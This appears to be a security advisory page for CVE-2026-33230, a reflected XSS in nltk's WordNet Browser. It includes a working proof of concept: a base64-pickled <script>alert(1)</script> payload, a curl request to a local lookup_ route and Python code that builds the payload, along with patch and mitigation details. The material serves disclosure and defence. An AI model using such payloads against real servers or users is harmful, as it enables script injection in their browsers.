CVE-2026-33230 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.
nltk Vulnerable to Cross-site Scripting
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33230.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in nltk/app/wordnet_app.py:
-
- Requests starting with
lookup_are handled as HTML responses: page, word = page_from_href(sp)
- Requests starting with
-
page_from_href()callspage_from_reference(Reference.decode(href))
-
word = href.word
-
- If no results are found,
wordis inserted directly into the HTML body: body = "The word or words '%s' were not found in the dictionary." % word
- If no results are found,
This is inconsistent with the search route, which does escape user input:
nltk/app/wordnet_app.py:136word = html.escape(...)
As a result, a malicious lookup_... payload can inject script into the response page.
The issue is exploitable because:
Reference.decode()accepts attacker-controlled base64-encoded pickle data for the URL state.- The decoded
wordis reflected into HTML withouthtml.escape(). - The server is started with
HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not justlocalhost.
PoC
- Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
- Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})
Encoded payload:
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
- Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
- Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
<img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />
I also validated the issue directly at function level in Docker:
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
Observed output:
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab
- manipulate the page content shown to the user
- issue same-origin requests to other WordNet Browser routes
- potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | all versions | 3.9.4pip install --upgrade 'nltk==3.9.4' |
Affected Products
nltknltkDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nltk to 3.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33230 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
MODERATE: This reflected cross-site scripting flaw in NLTK's WordNet Browser application allows for arbitrary script execution. Exploitation requires a user to be running the local WordNet Browser server and then accessing a specially crafted URL. This vulnerability affects Red Hat products that include the NLTK…
To mitigate this issue, avoid running the NLTK WordNet Browser server (`nltk.app.wordnet_app`) if it is not required. If the server must be run, users should exercise caution and avoid accessing untrusted or suspicious URLs while the application is active.Source: Red Hat security advisory for CVE-2026-33230 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-33230 in your dependencies?
Find it across PyPI, including transitive dependencies.